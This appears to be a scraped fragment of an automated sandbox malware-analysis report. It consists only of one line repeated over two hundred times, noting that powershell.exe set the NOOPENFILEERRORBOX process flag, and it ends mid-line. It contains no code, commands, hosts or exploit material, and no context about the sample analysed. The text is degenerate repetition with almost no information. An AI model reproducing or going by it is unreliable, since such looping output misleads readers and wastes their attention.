        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
